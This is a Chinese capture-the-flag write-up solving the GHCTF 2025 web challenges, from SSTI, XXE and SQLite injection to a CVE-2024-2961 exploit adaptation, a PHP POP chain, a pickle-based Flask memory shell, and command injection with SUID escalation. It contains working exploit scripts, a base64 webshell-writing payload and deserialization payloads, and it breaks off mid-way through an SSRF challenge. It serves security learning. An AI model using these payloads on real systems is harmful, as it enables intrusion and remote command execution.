GHCTF新生赛-web
本文最后更新于310 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2025GHCTF-web

2025

1.upload?SSTI!

给了源码

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])

def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())

        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and 
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)

            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))

# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404

@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403

if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

ssti渲染,过滤也很好绕

image-20250309174449307

去file下读取即可

image-20250309174522820

2.(>﹏<)

页面访问后就是源码,读一下

from flask import Flask,request 
import base64 
from lxml import etree 
import re 

app = Flask(__name__) 

@app.route('/') 
def index(): 
    return open(__file__).read() 

@app.route('/ghctf',methods=['POST']) 
def parse(): 
    xml=request.form.get('xml') 
    print(xml) 
    if xml is None: 
        return "No System is Safe." 
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True) 
    root = etree.fromstring(xml, parser) 
    name=root.find('name').text 
    return name or None 
if __name__=="__main__": 
    app.run(host='0.0.0.0',port=8080)

没有过滤的xxe注入

import requests

url = "http://node2.anna.nssctf.cn:28466/ghctf"
xml_payload = """<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>
"""

data = {"xml": xml_payload}
response = requests.post(url, data=data)
print(response.text)  # 输出 flag

3.SQL???

sqlite注入。过滤了引号

字段为5

查表

?id=1 union select 1,sqlite_version(),3,sql,5 from sqlite_master #

image-20250309181820221

看到flag表里有flag字段。

查字段:

?id=1 union select 1,sqlite_version(),3,group_concat(flag),5 from flag#

image-20250309182619095

4.ez_readfile(复现)

hash爆破+cve-2024-2961

艹了知道考的cve但是不会改脚本。唉代码功底太弱了

image-20250309213512763

MD5强碰撞。绕过很简单,利用fastcoll生成两个md5一样的文件然后用脚本读取一下即可。

image-20250309214033375

image-20250309214019969

file_get_content读取文件内容。但是我们不知道flag的位置和文件名。这里猜不到。所以要打cve。

cve-2024-2961利用脚本

下载脚本后要修改一下,因为我们的send包不一样

主要就是修改53行的send函数和download函数为:

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(
            self.url,
            params={"file": path},
            data={
                "a": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9kkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAoJ9eyubdAX/bK6NRfQfhDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jQ0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkO8DBv9u5jOFs63tjrzmbU5+f/C"),
                "b": b64decode("cHN5Y2hvCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFetWq88ihNWtZYYbaXqMoFf+9mkIi+P1ESiN3ZYuAjXbSzg1ExS1/tvEHQZAgJ+eyubdAX/bK6NRfQfBDyuAQ+bEtSBpUr5SA95RSrcK7G0D95jw0DaMjmLwwB/i19oxtOLZDivhXwUdwbCOkM8DBv9u5jOFs63tjrzmTU5+f/C")
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"}
        )

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"</code>([sS]*)", flags=re.S).group(1)
        print(response.text)
        return base64.decode(data)

还要修改101行开始的check_vulnerable函数为:

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """

        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"

        result = safe_download(path)

        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            #failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            pass
            #failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            pass
            #failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

运行即可。主要python要是3.10版本

image-20250309215054798

接收到shell

image-20250309215127762

5.Popppppp

pop链,看似代码很多,但有很多没用的

 <?php
error_reporting(0);
class CherryBlossom {
    public $fruit1;
    public $fruit2;
    public function __construct($a) {
        $this->fruit1 = $a;
    }
    function __destruct() {
        echo $this->fruit1;
    }
    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}
class Forbidden {
    private $fruit3;
    public function __construct($string) {
        $this->fruit3 = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;
    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }
    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}
class Samurai {
    public $fruit6;
    public $fruit7;
    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }
    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}
class Mystery {
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}
class Princess {
    protected $fruit9;
    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}
class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}
class UselessTwo {
    public $hiddenVar = "123123";
    public function __construct($value) {
        $this->hiddenVar = $value;
    }
    public function __toString() {
        return $this->hiddenVar;
    }
}
class Warrior {
    public $fruit12;
    private $fruit13;
    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}
class UselessThree {
    public $dummyVar;
    public function __call($name, $args) {
        return $name;
    }
}
class UselessFour {
    public $lalala;
    public function __destruct() {
        echo "Hehe";
    }
}
if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}

注意到Mystery类的get方法中,array_walk函数可以利用php文件读取类来进行文件读取。

php文件读取类我自己就熟悉两个。

1.利用GlobIterator类测文件路径

2.利用SplFileObject类进行文件读取

这两个通常可以配合php伪协议来进行读取。

这样就找到了链尾,_get()方法当访问一个对象的不存在或不可访问的属性时自动调用

接下来触发get : 我们发现Philosopher类中_invoke()有$this->fruit10->hey刚好可以触发。但是要绕过双重md5。

接下来就触发invoke: _invoke()方法当将一个对象作为函数进行调用时自动调用。发现Warlord类的call()方法中return $function(); 刚好可以调用。

接下来就触发call: 而call()方法当调用不存在或不可见的成员方法时触发。Samurai类的_toString()方法中$long = @$this->fruit6->add();可以触发

接下来就触发toString:toString()方法当使用echo或print输出对象将对象转化为字符串形式时调用

CherryBlossom类的echo $this->fruit1; 可以触发。

至此链子结束,为:

CherryBlossom{__destruct()}-->Samurai{__toString()}-->Warlord{__call}-->Philosopher{__invoke()}-->Mystery{__get($arg1)}

MD5爆破脚本:

<?php
function findDoubleMd5Match() {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 可用的字符集
    $maxAttempts = 1000000; // 最大尝试次数,防止无限循环
    $attempts = 0;

    while ($attempts < $maxAttempts) {
        // 生成随机字符串
        $randomString = '';
        for ($i = 0; $i < 10; $i++) { // 生成长度为 10 的随机字符串
            $randomString .= $chars[rand(0, strlen($chars) - 1)];
        }

        // 计算双重 MD5 值
        $md5Once = md5($randomString);
        $md5Twice = md5($md5Once);

        // 检查前三位是否为 '666',第四位是否为字母
        if (substr($md5Twice, 0, 3) === '666' && ctype_alpha($md5Twice[3])) {
            return [
                'string' => $randomString,
                'md5_once' => $md5Once,
                'md5_twice' => $md5Twice
            ];
        }

        $attempts++;
    }

    return null; // 未找到符合条件的字符串
}

// 执行查找
$result = findDoubleMd5Match();

if ($result) {
    echo "找到符合条件的字符串:n";
    echo "字符串: " . $result['string'] . "n";
    echo "第一次 MD5: " . $result['md5_once'] . "n";
    echo "第二次 MD5: " . $result['md5_twice'] . "n";
} else {
    echo "未找到符合条件的字符串。n";
}
?>

exp:

<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    function __destruct() {
        echo $this->fruit1;
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {
    public $SplFileObject="/flag44545615441084";//读flag
    #public $GlobIterator="/*";//查找根目录文件
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="Bc3lHc7ahC";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}

$CherryBlossom= new CherryBlossom();
$Samurai = new Samurai();
$Warlord= new Warlord();
$Philosopher=new Philosopher();
$Mystery=new Mystery();
$CherryBlossom->fruit1=$Samurai;
$Samurai->fruit6=$Warlord;
$Warlord->fruit4=$Philosopher;
$Philosopher->fruit10=$Mystery;
echo urlencode(serialize($CherryBlossom));

链子不止这一种,还有其他的。可自行选择。

6.upupup(复现)

也是学到了新的绕过方式。

观察是apache服务器,并且对上传的文件名和文件内容都有检查。过滤了GIF89a魔术头

我们上传.htaccess会被检测到。利用以下两种注释符绕过getimagesize和exif_imagetype

x00
#

上传.htaccess。内容为:

image-20250310171802619

在上传1.jpg

image-20250310171829004

蚁剑连接即可。

7.ezzzz_pickle(复现)

弱密码admin/admin123登录进去后,点击flag抓包。直接将文件名改掉。

读源码(非预期直接读docker-entrypoint.sh)

image-20250310173318273

源码如下:

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

app = Flask(__name__)

# 生成加密所需的密钥 (key) 和初始向量 (IV)
def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()  # 从环境变量中获取密钥
    iv = os.environ.get('SECRET_iv').encode()    # 从环境变量中获取 IV
    return key, iv

# AES 加密与解密函数
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())  # 创建 AES CBC 模式的加密对象

    if mode == 'encrypt':  # 加密模式
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()  # PKCS7 填充
        padded_data = padder.update(data.encode()) + padder.finalize()  # 对数据进行填充
        result = encryptor.update(padded_data) + encryptor.finalize()  # 进行 AES 加密
        return base64.b64encode(result).decode()  # 返回 Base64 编码后的加密数据

    elif mode == 'decrypt':  # 解密模式
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)  # 先解码 Base64
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()  # 进行 AES 解密
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()  # 去填充
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()  # 返回解密后的字符串

# 用户数据库(仅存储在内存中)
users = {
    "admin": "admin123",  # 仅一个用户 admin
}

# 创建用户会话 (Session)
def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600  # 1 小时后过期
    }
    pickled = pickle.dumps(session_data)  # 将 session 数据序列化
    pickled_data = base64.b64encode(pickled).decode('utf-8')  # Base64 编码
    key, iv = generate_key_iv()  # 获取密钥和 IV
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')  # 加密 session
    return session  # 返回加密后的 session

# 下载静态文件内容
def dowload_file(filename):
    path = os.path.join("static", filename)  # 仅允许访问 static 目录下的文件
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')  # 读取文件内容并转换为字符串
    return data

# 验证会话 (Session) 是否有效
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()  # 获取密钥和 IV
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')  # 先解密
        pickled_data = base64.b64decode(pickled)  # 进行 Base64 解码
        session_data = pickle.loads(pickled_data)  # 反序列化回原始数据
        if session_data["username"] != "admin":  # 仅允许 admin 访问
            return False
        return session_data if session_data["expires"] > time.time() else False  # 检查是否过期
    except:
        return False  # 解密失败或数据格式不正确时,返回 False

# 主页路由
@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:  # 检查 Cookie 是否包含 session
        session = validate_session(request.cookies["session"])  # 验证 session
        if session:  # 如果 session 有效
            data = ""
            filename = request.form.get("filename")  # 获取表单提交的文件名
            if filename:
                data = dowload_file(filename)  # 读取文件内容
            return render_template("index.html", name=session['username'], file_data=data)  # 渲染页面
    return redirect("/login")  # 未登录则重定向到登录页面

# 登录页面
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":  # 处理 POST 请求
        username = request.form.get("username")  # 获取用户名
        password = request.form.get("password")  # 获取密码
        if users.get(username) == password:  # 验证用户名和密码
            resp = make_response(redirect("/"))  # 认证成功后跳转到主页
            resp.set_cookie("session", create_session(username))  # 生成加密 session 并存入 Cookie
            return resp
        return render_template("login.html", error="Invalid username or password")  # 失败则返回错误信息
    return render_template("login.html")  # GET 请求渲染登录页面

# 退出登录
@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))  # 退出后重定向到登录页面
    resp.delete_cookie("session")  # 删除 session Cookie
    return resp

# 运行 Flask 应用
if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)  # 监听所有 IP,关闭 debug 模式

分析后得出:session构造是经过pickle序列化然后base64编码然后aes加密。解密时先aes解密然后base64解码然后pickle反序列化。

那么我们就按照这样的思路伪造session来控制pickle反序列化。

这里aes加密用到key和iv可以读取环境变量获得

image-20250310182337376

直接打内存马,exp:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

class Exp:
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

def generate_key_iv():
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600,}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    print(pickled_data)
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print("[+]session:"+session)
    return session

def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        # print(pickled)
        pickled_data = base64.b64decode(pickled)
        # print(pickled_data)
        session_data = pickle.loads(pickled_data)
        print(session_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

exp = Exp()
create_session(exp)

然后随便访问个不存在的页面触发内存马:

image-20250310175252424

8.GetShell(复现)

源码:

 <?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $messagen";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }
    $logger->log("No action provided, running default logic");
}

看起来很长,其实都没啥用。chatgpt审一下就会告诉你可以命令执行。

CommandExecutor类直接调用exec函数可以导致命令执行。触发条件是action=run。

我们直接写马进去。

payload:
?action=run&input=echo%09PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=|base64%09-d%3Eshell.php

蚁剑连接然后访问flag

image-20250310190502233

无权限。

这里用到suid提权:

image-20250310190602796

发现一个wc的文件。https://gtfobins.github.io/

查看之后发现可以用来文件读取。

image-20250310190717849

细看wc用法:https://gtfobins.github.io/gtfobins/wc/

image-20250310190914371

直接使用:

image-20250310191016163

9.Goph3rrr

扫目录扫到app.py,访问后下载审源码:

@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Login</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #007bff;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-primary {
                    background-color: #007bff;
                    border: none;
                }
                .btn-primary:hover {
                    background-color: #0056b3;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Login</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            return b64e("Username already exists!")
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
        return b64e("Registration successful!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Register</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #28a745;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-success {
                    background-color: #28a745;
                    border: none;
                }
                .btn-success:hover {
                    background-color: #218838;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Register</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        if username not in users:
            return b64e("User not found!")
        file = request.files.get('avatar')
        if file:
            file.save(os.path.join(avatar_dir, f"{username}.png"))
            return b64e("Avatar uploaded successfully!")
        return b64e("No file uploaded!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Upload Avatar</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #dc3545;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-danger {
                    background-color: #dc3545;
                    border: none;
                }
                .btn-danger:hover {
                    background-color: #c82333;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
